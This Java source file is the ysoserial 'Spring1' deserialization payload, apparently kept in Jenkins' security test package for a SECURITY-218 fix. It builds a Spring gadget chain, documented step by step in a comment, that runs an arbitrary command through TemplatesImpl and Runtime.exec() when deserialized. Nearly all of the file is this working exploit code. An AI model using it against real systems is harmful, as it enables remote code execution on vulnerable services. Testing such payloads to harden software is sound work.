/*
* The MIT License
*
* Copyright (c) 2013 Chris Frohoff
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
package jenkins.security.security218.ysoserial.payloads;
import static java.lang.Class.forName;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Type;
import javax.xml.transform.Templates;
import org.springframework.beans.factory.ObjectFactory;
import jenkins.security.security218.ysoserial.util.Gadgets;
import jenkins.security.security218.ysoserial.util.PayloadRunner;
import jenkins.security.security218.ysoserial.util.Reflections;
import org.apache.xalan.xsltc.trax.TemplatesImpl;
/*
Gadget chain:
ObjectInputStream.readObject()
SerializableTypeWrapper.MethodInvokeTypeProvider.readObject()
SerializableTypeWrapper.TypeProvider(Proxy).getType()
AnnotationInvocationHandler.invoke()
HashMap.get()
ReflectionUtils.findMethod()
SerializableTypeWrapper.TypeProvider(Proxy).getType()
AnnotationInvocationHandler.invoke()
HashMap.get()
ReflectionUtils.invokeMethod()
Method.invoke()
Templates(Proxy).newTransformer()
AutowireUtils.ObjectFactoryDelegatingInvocationHandler.invoke()
ObjectFactory(Proxy).getObject()
AnnotationInvocationHandler.invoke()
HashMap.get()
Method.invoke()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
TemplatesImpl.TransletClassLoader.defineClass()
Pwner*(Javassist-generated).<static init>
Runtime.exec()
*/
@SuppressWarnings({"restriction", "rawtypes"})
public class Spring1 extends PayloadRunner implements ObjectPayload<Object> {
public Object getObject(final String command) throws Exception {
final TemplatesImpl templates = Gadgets.createTemplatesImpl(command);
final ObjectFactory objectFactoryProxy =
Gadgets.createMemoitizedProxy(Gadgets.createMap("getObject", templates), ObjectFactory.class);
final Type typeTemplatesProxy = Gadgets.createProxy((InvocationHandler)
Reflections.getFirstCtor("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler")
.newInstance(objectFactoryProxy), Type.class, Templates.class);
final Object typeProviderProxy = Gadgets.createMemoitizedProxy(
Gadgets.createMap("getType", typeTemplatesProxy),
forName("org.springframework.core.SerializableTypeWrapper$TypeProvider"));
final Constructor mitpCtor = Reflections.getFirstCtor("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider");
final Object mitp = mitpCtor.newInstance(typeProviderProxy, Object.class.getMethod("getClass", new Class[] {}), 0);
Reflections.setFieldValue(mitp, "methodName", "newTransformer");
return mitp;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(Spring1.class, args);
}
}